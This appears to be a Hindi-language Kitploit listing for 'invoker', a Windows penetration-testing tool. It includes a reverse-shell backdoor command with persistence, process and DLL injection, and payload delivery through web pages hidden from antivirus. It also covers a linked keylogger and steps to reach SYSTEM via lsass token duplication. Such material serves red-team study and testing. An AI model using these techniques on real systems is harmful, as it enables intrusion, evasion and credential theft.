Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
invoker — पेनिट्रेशन टेस्टिंग उपयोगिता और एंटीवायरस मूल्यांकन उपकरण। | Kitploit
उपकरण/GitHubGitHub/ivan-sincek/invoker
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगबाइनरी विश्लेषणलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंटArchived
GitHubivan-sincek/invoker

invoker

पेनिट्रेशन टेस्टिंग उपयोगिता और एंटीवायरस मूल्यांकन उपकरण।

3128273 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

इनवोकर

पेनिट्रेशन टेस्टिंग उपयोगिता और एंटीवायरस मूल्यांकन उपकरण।

Visual Studio Community 2022 v17.5.4 (64-bit) के साथ निर्मित और Windows 10 Enterprise OS (64-bit) पर परीक्षण किया गया।

शैक्षिक उद्देश्यों के लिए बनाया गया। मुझे उम्मीद है कि यह मदद करेगा!

इस रिपॉजिटरी में ज्ञात सिग्नेचर होने लगे हैं और मेरे पास हर बार नई एक्जीक्यूटेबल अपलोड करने का समय नहीं है, इसलिए आपको इस प्रोजेक्ट को स्वयं कंपाइल करना चाहिए।

उपयोगी वेबसाइटें:

  • elastic.co
  • learn.microsoft.com
  • processhacker.sourceforge.io
  • undocumented.ntinternals.net
  • pinvoke.net

करने के लिए:

  • x86 आर्किटेक्चर के साथ प्रोसेस घोस्टिंग को संगत बनाएं क्योंकि NtCreateProcessEx 32-बिट प्रक्रियाओं के साथ अच्छी तरह से काम नहीं करता है।

भविष्य की योजनाएँ:

  • प्रोसेस हॉलोइंग,
  • प्रोसेस डोपेलगैंगिंग,
  • प्रोसेस हर्पाडर्पिंग,
  • प्रोसेस घोस्टिंग,
  • अधिक DLL प्रॉक्सी इनवोकेशन,
  • COM हाईजैकिंग,
  • पूरे स्रोत कोड को स्थिर रूप से अस्पष्ट करने के लिए Python3 स्क्रिप्ट।

कोडिंग करते समय मैं ध्यान में रखता हूँ:

  • सब कुछ सरल करें,
  • स्थैतिक आवंटन के बजाय गतिशील आवंटन का उपयोग करें, (कभी-कभी)
  • न्यूनतम आवश्यक एक्सेस अधिकार और नियंत्रण फ्लैग का उपयोग करें,
  • संभावित त्रुटियों/अपवादों को संभालें/पकड़ें,
  • उपयोग के बाद एरे और मेमोरी को शून्य करें और मुक्त करें,
  • उपयोग के बाद खुले हैंडल/स्ट्रीम को ठीक से बंद करें,
  • उपयोग के बाद लाइब्रेरी, ऑब्जेक्ट और समान के संदर्भ गणना को घटाएं,
  • बाहर निकलने से पहले गार्बेज क्लीनर को कॉल करें। (लागू नहीं)

उपरोक्त सभी के परिणामस्वरूप आपके PE का आकार छोटा होगा और पहचान दर कम होगी।

विषयसूची

  • इनवोकर लाइब्रेरी
  • कैसे चलाएं
  • बाइटकोड इंजेक्शन
  • रिवर्स शेल पेलोड जनरेट करें
  • पावरशेल
  • डायरेक्ट सिस्टम कॉल्स
  • हुक प्रक्रिया के साथ DLL बनाएं
  • लोकलसिस्टम खाता प्राप्त करें (NT AUTHORITY\SYSTEM)
  • चित्र

इनवोकर लाइब्रेरी

विशेषताएँ:

  • सिस्टम शेल्स को आमंत्रित करें,
  • डायरेक्ट सिस्टम कॉल करें,
  • Windows Management Instrumentation (WMI) का उपयोग करें,
  • रिमोट होस्ट से कनेक्ट करें,
  • चल रही प्रक्रिया को समाप्त करें,
  • नई प्रक्रिया चलाएं,
  • प्रक्रिया की मेमोरी डंप करें,
  • प्रक्रिया की एक्जीक्यूटेबल इमेज के साथ छेड़छाड़ करें,
  • प्रक्रिया में बाइटकोड इंजेक्ट करें,
  • प्रक्रिया में DLL इंजेक्ट करें,
  • प्रक्रिया के लोडेड DLLs की सूची बनाएं,
  • DLL हाईजैकिंग को आमंत्रित करें,
  • हुक प्रक्रिया स्थापित करें,
  • एक्सेस टोकन विशेषाधिकार सक्षम करें,
  • प्रक्रिया के एक्सेस टोकन की नकल बनाएं और एक नई प्रक्रिया चलाएं,
  • फ़ाइल डाउनलोड करें,
  • रजिस्ट्री कुंजी जोड़ें/संपादित करें,
  • कार्य शेड्यूल करें,
  • अनकोटेड सेवा पथों की सूची बनाएं और सेवा प्रारंभ, बंद या पुनः आरंभ करें,
  • एकाधिक System32 फ़ाइलों को बदलें।

Invoker लाइब्रेरी यहाँ देखें। इसका उपयोग करने में संकोच न करें!


कुछ सुविधाओं के लिए प्रशासनिक विशेषाधिकार की आवश्यकता हो सकती है।

कुछ सुविधाएँ Windows XP और पुराने पर काम नहीं कर सकती हैं क्योंकि कुछ विशिष्ट एक्सेस अधिकार और नियंत्रण फ्लैग का उपयोग किया गया है।

कैसे चलाएं

Invoker_x86.exe (32-bit) या Invoker_x64.exe (64-bit) चलाएं।

परसिस्टेंस जोड़ते हुए रिवर्स शेल बैकडोर को स्वचालित करने के लिए, निम्न कमांड चलाएं:

root@kitploit:~
Invoker_x64.exe 192.168.8.5:9000

32-bit इनवोकर कर सकता है:

  • डायरेक्ट सिस्टम कॉल करें,
  • 32-bit प्रक्रिया की मेमोरी डंप करें,
  • 32-bit प्रक्रिया की एक्जीक्यूटेबल इमेज के साथ छेड़छाड़ करें और उसे 32-bit प्रक्रिया में इंजेक्ट करें,
  • 64-bit प्रक्रिया की एक्जीक्यूटेबल इमेज के साथ छेड़छाड़ करें और उसे 64-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit बाइटकोड को 32-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit DLL को 32-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit प्रक्रिया के लोडेड DLLs की सूची बनाएं,
  • 32-bit DLL से हुक प्रक्रिया स्थापित करें।

64-bit इनवोकर कर सकता है:

  • डायरेक्ट सिस्टम कॉल करें,
  • 32-bit प्रक्रिया की मेमोरी डंप करें,
  • 64-bit प्रक्रिया की मेमोरी डंप करें,
  • 32-bit प्रक्रिया की एक्जीक्यूटेबल इमेज के साथ छेड़छाड़ करें और उसे 32-bit प्रक्रिया में इंजेक्ट करें,
  • 64-bit प्रक्रिया की एक्जीक्यूटेबल इमेज के साथ छेड़छाड़ करें और उसे 64-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit बाइटकोड को 32-bit प्रक्रिया में इंजेक्ट करें,
  • 64-bit बाइटकोड को 64-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit DLL को 32-bit प्रक्रिया में इंजेक्ट करें,
  • 64-bit DLL को 64-bit प्रक्रिया में इंजेक्ट करें,
  • 32-bit प्रक्रिया के लोडेड DLLs की सूची बनाएं,
  • 64-bit प्रक्रिया के लोडेड DLLs की सूची बनाएं।
  • 32-bit DLL से हुक प्रक्रिया स्थापित करें,
  • 64-bit DLL से हुक प्रक्रिया स्थापित करें।

ध्यान दें कि प्रत्येक इंजेक्शन तकनीक के अपने फायदे और नुकसान हैं; जैसे, कुछ तकनीक को कम एक्सेस अधिकारों की आवश्यकता होती है, कम संदिग्ध विधियों का उपयोग करती है, आदि, लेकिन हो सकता है कि वह प्रक्रिया को क्रैश कर दे, पेलोड को निष्पादित करने के लिए कुछ समय और अन्य विशेष शर्तों की आवश्यकता हो, आदि।

ध्यान दें कि कुछ C2C इम्प्लांट मेमोरी जारी करने के बाद काम नहीं कर सकते हैं। उस स्थिति में, VirtualFreeEx, NtFreeVirtualMemory, आदि जैसी विधियों को कमेंट आउट करें।

बाइटकोड इंजेक्शन

उच्च-विशेषाधिकार वाली प्रक्रिया में बाइटकोड इंजेक्ट करके विशेषाधिकार बढ़ाएं।

यह उपकरण मेमोरी में बाइनरी फ़ाइल की सामग्री डाउनलोड कर सकता है और इसे चालू प्रक्रिया में इंजेक्ट कर सकता है। यह HTTP प्रतिक्रिया को पार्स भी कर सकता है और कस्टम तत्व से पेलोड निकाल सकता है, जैसे <invoker>payload</invoker> से जहाँ payload Base64 में एनकोडेड बाइनरी कोड है।

उदाहरण pastebin.com/raw/xf9Trt0d पर देखें।

यह उपयोगी है यदि एंटीवायरस लगातार आपके स्थानीय पेलोड को हटा रहा है।

एक अतिरिक्त उदाहरण pastebin.com/raw/iW17rCxH पर देखें - इमेज तत्व में छिपा पेलोड।

P.S. प्रदान किए गए बाइटकोड निश्चित रूप से आपके लिए काम नहीं करेंगे।

ngrok का उपयोग करके अपने स्थानीय वेब सर्वर को सार्वजनिक पता दें।


यह देखने के लिए कि कोई प्रक्रिया 32-bit है या 64-bit, Task Manager खोलें -> More details पर क्लिक करें -> Details टैब पर जाएं -> किसी भी कॉलम पर राइट क्लिक करें -> Select columns पर क्लिक करें -> Platform चेकबॉक्स को चेक करें।

यह देखने के लिए कि क्या कोई प्रक्रिया प्रशासनिक विशेषाधिकार के साथ चल रही है, Elevated चेकबॉक्स को चेक करें।

रिवर्स शेल पेलोड जनरेट करें

मेरे अन्य प्रोजेक्ट से रिवर्स शेल पेलोड जनरेट करने का तरीका जानें, साथ ही Ncat और multi/handler लिसनर सेट अप करना सीखें।

बाइटकोड इंजेक्शन विफल हो सकता है क्योंकि बाइटकोड में खराब कैरेक्टर, गलत एग्जिट फंक्शन या एन्कोडिंग हो सकती है; DLL इंजेक्शन अधिक विश्वसनीय है।

पावरशेल

यदि आप Invoker से PowerShell रिवर्स या बाइंड शेल चलाना चाहते हैं, तो Invoker खोलें और PowerShell सत्र शुरू करें, फिर कोई भी one-liner चलाएं (मेरे अन्य प्रोजेक्ट से)।

डायरेक्ट सिस्टम कॉल्स

डायरेक्ट सिस्टम कॉल्स लाइब्रेरी और असेंबली SysWhispers2 के साथ उत्पन्न की गई थीं। लेखक को श्रेय!

समान लाइब्रेरी और असेंबली उत्पन्न करने के लिए, अपने पसंदीदा कंसोल से निम्न कमांड चलाएं:

root@kitploit:~
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

लाइब्रेरी और असेंबली के आसपास मेरा रैपर यहाँ देखें। इसका उपयोग करने में संकोच न करें!

हुक प्रक्रिया के साथ DLL बनाएं

सरल DLL को हुक प्रक्रिया के साथ यहाँ देखें। हुक प्रक्रिया प्रत्येक विंडो बंद होने पर एक मैसेज बॉक्स को आमंत्रित करेगी।

कीबोर्ड हुक प्रक्रिया (अर्थात कीलॉगर) यहाँ देखें।

माउस हुक प्रक्रिया जो पहले माउस क्लिक पर एक नई प्रक्रिया चलाएगी, यहाँ देखें।

परीक्षण समाप्त करने के बाद सभी निर्मित आर्टिफैक्ट को हटाना न भूलें, जैसे keylogger.log हटाएं, आदि।

लोकलसिस्टम खाता प्राप्त करें (NT AUTHORITY\SYSTEM)

इन सरल चरणों का पालन करें:

  1. Invoker को व्यवस्थापक के रूप में चलाएं।
  2. सभी एक्सेस टोकन विशेषाधिकार सक्षम करें।
  3. जैसे Local Security Authority Subsystem Service (lsass.exe) से एक्सेस टोकन की नकल बनाएं और Invoker का एक नया इंस्टेंस चलाएं।
  4. नए Invoker इंस्टेंस के अंदर, कमांड प्रॉम्प्ट खोलें और whoami चलाएं, अब आपको nt authority\system दिखना चाहिए।
  5. सभी एक्सेस टोकन विशेषाधिकार एक बार फिर सक्षम करें।
  6. पुराने Invoker इंस्टेंस को बंद करें।

चित्र

इनवोकर

चित्र 1 - इनवोकर

बाइटकोड इंजेक्शन

चित्र 2 - बाइटकोड इंजेक्शन

उन्नत विशेषाधिकार

चित्र 3 - उन्नत विशेषाधिकार

टूल डाउनलोड करें